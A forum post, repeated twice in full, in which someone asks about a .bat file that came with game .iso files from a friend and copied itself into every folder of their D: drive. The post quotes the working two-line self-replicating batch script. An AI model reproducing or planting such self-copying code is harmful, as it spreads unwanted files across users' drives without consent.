Hi everyone!
I took some games data from a friend, they are some .iso files which can be unpacked to games
But I found a file with .bat (batch) extension in each folder of these games folder and named with the same name of the folder
I opened one and a command prompt has started to copy files in the same drive which the file is located, then I noticed that each folder of the drive has a file named with the folder name and with .bat (batch) extension
Then I searched about any files with .bat (batch) extensions and I deleted all of them, and now everything is ok
When I used notepad edit to view the content of the .bat file, that is the content:
set h=For
%h% /R "D:\" /D %%a in (*) do copy %0 "%%~fa\%%~nxa.bat"
I want to know what that file is and why it came with all games folders, and is it harmful or not
Thanks in advance!
I took some games data from a friend, they are some .iso files which can be unpacked to games
But I found a file with .bat (batch) extension in each folder of these games folder and named with the same name of the folder
I opened one and a command prompt has started to copy files in the same drive which the file is located, then I noticed that each folder of the drive has a file named with the folder name and with .bat (batch) extension
Then I searched about any files with .bat (batch) extensions and I deleted all of them, and now everything is ok
When I used notepad edit to view the content of the .bat file, that is the content:
set h=For
%h% /R "D:\" /D %%a in (*) do copy %0 "%%~fa\%%~nxa.bat"
I want to know what that file is and why it came with all games folders, and is it harmful or not
Thanks in advance!